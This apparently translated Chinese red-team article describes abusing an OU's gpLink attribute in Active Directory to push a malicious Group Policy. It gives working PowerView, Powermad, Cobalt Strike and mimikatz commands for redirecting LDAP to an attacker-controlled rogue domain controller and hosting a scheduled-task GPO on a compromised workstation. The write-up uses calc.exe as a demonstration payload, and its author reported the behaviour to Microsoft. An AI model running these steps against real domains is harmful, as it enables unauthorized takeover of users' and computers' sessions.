gpLink在横向移动中的应用

 

0x00 前言

如果我们可以修改OU(Organizational Unit,组织单位),就能修改gpLink属性,搞定属于该OU及其子OU的任何计算机或者用户。

在开发SharpGPOAbuse工具之前,我想了解下Windows如何处理GPO(Group Policy Object,组策略对象)以及不同GPO组件之前如何进行关联。在寻找可能的攻击方式时,我找到了一个比较特别的属性:gpLinkgpLink存在于所有AD(Active Directory,活动目录)容器中,比如Domain(域)对象以及OU中,并且包含与该容器有关的GPO所对应的LDAP路径。

 

0x01 GPO处理过程

虽然本文的重点并不是详细描述GPO的工作原理,但还是可以稍微总结下一些基本的概念,以便大家理解整个攻击步骤。

GPO由以下两个组件组成:

  • GPC(Group Policy Container,组策略容器):这是GPO的LDAP部分,包含相关属性
  • GPT(Group Policy Template,组策略模板):位于Sysvol中,包含实际的GPO设置

当客户端(用户或者主机)处理GPO设置时,将执行如下几个步骤:

1、客户端在目录结构中提取所有容器的gpLink属性。gpLink中包含必须被应用的GPO的LDAP路径。

2、客户端提取每个GPO关联的一些属性。其中有个属性为gPCFileSysPath,该属性包含实际GPO设置在Sysvol中的具体位置。

3、客户端与gPCFileSysPath指向的位置建立SMB连接。

4、客户端提取并应用GPO设置。

当然,以上只是简化版的操作过程,只列出了与本文介绍的攻击方式有关的一些步骤。需要注意的是,步骤1及步骤2依赖于LDAP协议(389/tcp端口),步骤3及步骤4依赖于SMB协议(445/tcp端口)。

 

0x02 攻击概览

为了实现攻击目标,我们需要满足如下条件:

1、我们需要具备必要的权限,以修改某个OU属性。

2、我们必须能够在目标域中添加计算机对象。

3、我们必须能够在目标域中添加DNS记录。

幸运的是,在默认配置的AD中,任何域用户都满足第2及第3个条件。

整个攻击过程如下图所示:

 

0x03 具体步骤

接下来我们以实际案例演示整个攻击过程。在这个示例中,目标域名为contoso.com。假设我们已经搞定bob.smith,该用户登录到WRKSTN02工作站,具备修改Finance OU的权限。我们的目标用户为alice.jones,该用户是Finance OU的一个成员:

BobWRKSTN02的本地管理员,虽然这并不是这种攻击的一个(严格)条件,但还是能简化我们的攻击示例过程。

首先,我们需要为test.contoso.com添加一个新的DNS A记录,将其指向bob.smith登录的计算机(WRKSTN02)。我们可以使用Powermad中的Invoke-DNSUpdate来完成该任务:

Invoke-DNSUpdate -DNSType A -DNSName test -DNSData 10.1.1.22 -Realm contoso.com

接下来,由于我们可以修改Finance OU的属性,我们可以将其gpLink属性指向如下目标:

[LDAP://cn={980F65E5-95F3-4536-81CF-1A48691F2D67},cn=policies,cn=system,DC=test,DC=contoso,DC=com;0]

我们可以使用如下PowerView函数来修改所需属性:

Get-DomainObject Finance | Set-DomainObject -Set @{'GpLink'='[LDAP://cn={980F65E5-95F3-4536-81CF-1A48691F2D67},cn=policies,cn=system,DC=test,DC=contoso,DC=com;0]'}

这意味着当客户端处理这个gpLink属性时,就会向test.contoso.com发起LDAP连接,尝试提取GPO属性(如gPCFileSysPathversionNumber等)。

由于客户端会向test.contoso.com10.1.1.22)发起LDAP连接(389/tcp端口),因此我们需要拦截通信流量。为了完成该任务,我们可以使用Cobalt Strike的rportfwd命令,打开已控制主机的389端口,将其转发至目标网络外我们可控的某台服务器(10.2.2.40):

该服务器为某个虚拟域(test.contoso.com)的域控制器(DC,Domain Controller),当然这个虚拟域与目标域(contoso.com)并没有任何关系。这里我们将这台新主机称为ATLANTIC$。由于我们具备ATLANTIC$的控制权,因此可以运行mimikatz来提取明文形式的主机密码(首先运行Reset-ComputerMachinePassword powershell命令,然后运行sekurlsa::logonpasswords命令)。

现在我们已经拿到虚拟DC的主机密码,我们可以在原始contoso.com域中添加一个新的主机对象,将其密码设置为同一个密码。新的主机对象使用的名称为TEST。我们可以使用Powermad完成该任务(记得在密码字符串中使用正确的转义符):

$pass = "cP:Wbp8!Faz-2`$06CXvM\*m`$U)+[a/VBA2>60o8`"Ri1 bIMwxN,j8AWzFENk7)`$R;CSYG1%;UIi``8,]4PY`"G``hc<'k63KroS(^rT9%BeI'V35lMN9YN7Pgh;"
New-MachineAccount -MachineAccount test -Password $(ConvertTo-SecureString $pass -AsPlainText -Force)

我们还需要确保新主机对象已注册了如下SPN,这样当客户端尝试向我们的虚拟test.contoso.com域发起LDAP连接时,Kerberos认证过程能顺利通过(我使用的是稍加修改版的Powermad,以便在创建对象时注册这些SPN)。

LDAP/test.contoso.com
LDAP/TEST
HOST/TEST.contoso.com
HOST/TEST

现在,当客户端提取被修改的gpLink属性值时,就会请求与LDAP/test.contoso.com对应的TGS,而该TGS使用我们之前提供的ATLANTIC$主机的密码哈希进行加密。因此,当我们的虚拟域控拿到TGS后,就可以成功进行解密。

目前我们可以让客户端向我们控制的恶意DC发起LDAP连接。在执行GPO更新过程后(参考0x01节内容),客户端现在会请求包括gPCFileSysPath在内的一些GPO属性。因此,我们需要在伪造的test.contoso.com域中创建一个恶意GPO(这里称之为TestGPO),其中包含我们希望推送给受害者的各种设置。

注意:我们之前修改过Finance OU的gpLink属性,其中的LDAP路径必须包含这个GPO的GUID信息。

在这个攻击场景中,我们可以简单创建一个计划任务,用来执行calc.exe

现在客户端会通过SMB连接到gPCFileSysPath所指向的位置,以便获取GPO设置。前面提到过,我们具备WRKSTN02的本地管理员权限,这是非常有用的一点。我们可以使用这些权限来创建一个新的共享目录(Sysvol),允许Authenticated Users组的成员读取目录内容:

这个共享目录用来托管恶意GPO设置,我们可以从test.contoso.com域对应的“伪造”域控的Sysvol共享中拷贝这些设置。

此外,我们必须使用如下内容来替换test.contoso.com域中TestGPO对象gPCFileSysPath属性的已有值:

\\wrkstn02.contoso.com\SysVol\contoso.com\Policies\{980F65E5-95F3-4536-81CF-1A48691F2D67}

当客户端提取gPCFileSysPath属性的值时,会发现TestGPO的GPO设置位于WRKSTN02工作站的Sysvol共享中。

如下图所示,在下一个GPO刷新周期中,由于alice.jonesFinance OU的成员,因此前面设置的计划任务会成功创建,立即弹出计算器,代表我们攻击任务已成功完成:

 

0x04 总结

在上述过程中,我们使用恶意DC来托管恶意GPO(GPC)的LDAP组件,在已被突破的工作站上通过Sysvol共享来托管恶意GPO的具体设置(GPT)。

最后我们还需要注意一点,即使目标环境配置了强化版的UNC路径,这种攻击方式还是有可能成功。由于我们没有执行任何中间人攻击,并且kerberos认证过程也能正常工作,因此这种安全控制策略并不能用来防御这种技术。如下图所示,即使配置了强化版UNC路径,我们也能攻击成功:

如下图所示,在Wireshark中,受害者主机WRKSTN0110.1.1.20)及被攻击者控制的WRKSTN0210.1.1.22)之间的SMB流量经过加密,表明目标环境已部署了强化版UNC路径:

我们已向微软反馈了这种攻击方式,官方认为这是一种正常的行为,不会进行修复。

(完)